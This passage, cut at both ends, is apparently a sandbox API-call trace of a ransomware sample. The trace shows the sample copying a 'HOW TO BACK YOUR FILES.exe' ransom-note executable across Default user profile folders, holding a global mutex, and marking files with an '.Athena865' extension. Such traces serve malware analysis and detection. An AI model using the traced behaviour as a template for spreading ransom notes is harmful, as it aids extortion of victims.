BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.683] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.684] CreateFileW (lpFileName="C:\\Users\\Default\\Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\music\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.684] GetLastError () returned 0x0 [0100.684] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.684] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.686] CloseHandle (hObject=0xf4) returned 1 [0100.686] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.686] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.686] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7af1700, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7af1700, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529850 [0100.686] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\My Documents" | out: lpString1="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents" [0100.686] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.686] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\My Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\my documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.687] CreateFileW (lpFileName="C:\\Users\\Default\\My Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\my documents\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.687] GetLastError () returned 0x0 [0100.687] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.687] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.687] CloseHandle (hObject=0xf4) returned 1 [0100.687] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.687] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.687] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\My Documents\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7902520, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7902520, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529850 [0100.688] lstrcatW (in: lpString1="My Music", lpString2="\\" | out: lpString1="My Music\\") returned="My Music\\" [0100.688] lstrcatW (in: lpString1="My Music\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Music\\HOW TO BACK YOUR FILES.exe") returned="My Music\\HOW TO BACK YOUR FILES.exe" [0100.688] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\My Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\my documents\\my music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.688] FindNextFileW (in: hFindFile=0x529850, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0100.688] lstrcatW (in: lpString1="My Pictures", lpString2="\\" | out: lpString1="My Pictures\\") returned="My Pictures\\" [0100.688] lstrcatW (in: lpString1="My Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Pictures\\HOW TO BACK YOUR FILES.exe") returned="My Pictures\\HOW TO BACK YOUR FILES.exe" [0100.688] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\My Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\my documents\\my pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.689] FindNextFileW (in: hFindFile=0x529850, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0100.689] lstrcatW (in: lpString1="My Videos", lpString2="\\" | out: lpString1="My Videos\\") returned="My Videos\\" [0100.689] lstrcatW (in: lpString1="My Videos\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Videos\\HOW TO BACK YOUR FILES.exe") returned="My Videos\\HOW TO BACK YOUR FILES.exe" [0100.689] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\My Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\my documents\\my videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.690] FindNextFileW (in: hFindFile=0x529850, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0100.690] FindClose (in: hFindFile=0x529850 | out: hFindFile=0x529850) returned 1 [0100.690] ReleaseMutex (hMutex=0xec) returned 1 [0100.690] CloseHandle (hObject=0xec) returned 1 [0100.690] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\Default\\NetHood" | out: lpString1="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood" [0100.690] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x529890 | out: hHeap=0x4f0000) returned 1 [0100.690] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b218 | out: hHeap=0x4f0000) returned 1 [0100.690] lstrlenW (lpString="C:\\Users\\Default\\NetHood") returned 24 [0100.690] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\D32B17F907178B16C7F642A5C6B51E04") returned 0xec [0100.690] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.690] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\NetHood" | out: lpString1="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood" [0100.690] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.690] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\NetHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\nethood\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.691] CreateFileW (lpFileName="C:\\Users\\Default\\NetHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\nethood\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.691] GetLastError () returned 0x0 [0100.691] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.691] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.691] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.692] CloseHandle (hObject=0xf4) returned 1 [0100.692] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.692] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.692] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\NetHood\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcfb4860, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529890 [0100.692] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Pictures" | out: lpString1="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures" [0100.692] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.692] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.693] CreateFileW (lpFileName="C:\\Users\\Default\\Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\pictures\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.693] GetLastError () returned 0x0 [0100.693] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.693] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.694] CloseHandle (hObject=0xf4) returned 1 [0100.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.694] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.694] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7b3d9c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7b3d9c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5298d0 [0100.695] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\PrintHood" | out: lpString1="C:\\Users\\Default\\PrintHood") returned="C:\\Users\\Default\\PrintHood" [0100.695] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.695] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\PrintHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\printhood\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.695] CreateFileW (lpFileName="C:\\Users\\Default\\PrintHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\printhood\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.695] GetLastError () returned 0x0 [0100.695] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.695] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.695] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.696] CloseHandle (hObject=0xf4) returned 1 [0100.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.696] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.696] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\PrintHood\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd1a3a40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1a3a40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529910 [0100.697] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Recent" | out: lpString1="C:\\Users\\Default\\Recent") returned="C:\\Users\\Default\\Recent" [0100.697] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.697] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Recent\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\recent\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.697] CreateFileW (lpFileName="C:\\Users\\Default\\Recent\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\recent\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.697] GetLastError () returned 0x0 [0100.697] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.698] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.698] CloseHandle (hObject=0xf4) returned 1 [0100.698] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.699] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.699] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Recent\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7b89c80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7b89c80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529910 [0100.699] lstrcatW (in: lpString1="AutomaticDestinations", lpString2="\\" | out: lpString1="AutomaticDestinations\\") returned="AutomaticDestinations\\" [0100.699] lstrcatW (in: lpString1="AutomaticDestinations\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="AutomaticDestinations\\HOW TO BACK YOUR FILES.exe") returned="AutomaticDestinations\\HOW TO BACK YOUR FILES.exe" [0100.699] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Recent\\AutomaticDestinations\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\recent\\automaticdestinations\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.699] FindNextFileW (in: hFindFile=0x529910, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc7b63b20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7b63b20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CustomDestinations", cAlternateFileName="CUSTOM~1")) returned 1 [0100.700] lstrcatW (in: lpString1="CustomDestinations", lpString2="\\" | out: lpString1="CustomDestinations\\") returned="CustomDestinations\\" [0100.700] lstrcatW (in: lpString1="CustomDestinations\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="CustomDestinations\\HOW TO BACK YOUR FILES.exe") returned="CustomDestinations\\HOW TO BACK YOUR FILES.exe" [0100.700] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Recent\\CustomDestinations\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\recent\\customdestinations\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.700] FindNextFileW (in: hFindFile=0x529910, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6404e40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc7bafde0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="DESKTO~1.ATH")) returned 1 [0100.700] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Saved Games" | out: lpString1="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games" [0100.700] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.700] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Saved Games\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\saved games\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.701] CreateFileW (lpFileName="C:\\Users\\Default\\Saved Games\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\saved games\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.701] GetLastError () returned 0x0 [0100.701] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.701] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.702] CloseHandle (hObject=0xf4) returned 1 [0100.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.702] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.702] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7bd5f40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7bd5f40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529910 [0100.702] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Searches" | out: lpString1="C:\\Users\\Default\\Searches") returned="C:\\Users\\Default\\Searches" [0100.702] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.702] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Searches\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\searches\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.703] CreateFileW (lpFileName="C:\\Users\\Default\\Searches\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\searches\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.703] GetLastError () returned 0x0 [0100.703] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.703] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.703] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.704] CloseHandle (hObject=0xf4) returned 1 [0100.704] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x541f90 | out: hHeap=0x4f0000) returned 1 [0100.704] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.704] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Searches\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc7c6e4c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7c6e4c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529950 [0100.704] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\SendTo" | out: lpString1="C:\\Users\\Default\\SendTo") returned="C:\\Users\\Default\\SendTo" [0100.704] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.704] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\SendTo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\sendto\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.705] CreateFileW (lpFileName="C:\\Users\\Default\\SendTo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\sendto\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.705] GetLastError () returned 0x0 [0100.705] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x541f90 [0100.705] ReadFile (in: hFile=0xf4, lpBuffer=0x541f90, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x541f90*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.706] CloseHandle (hObject=0xf4) returned 1 [0100.706] HeapFree (in: hHeap=0x4f0000, 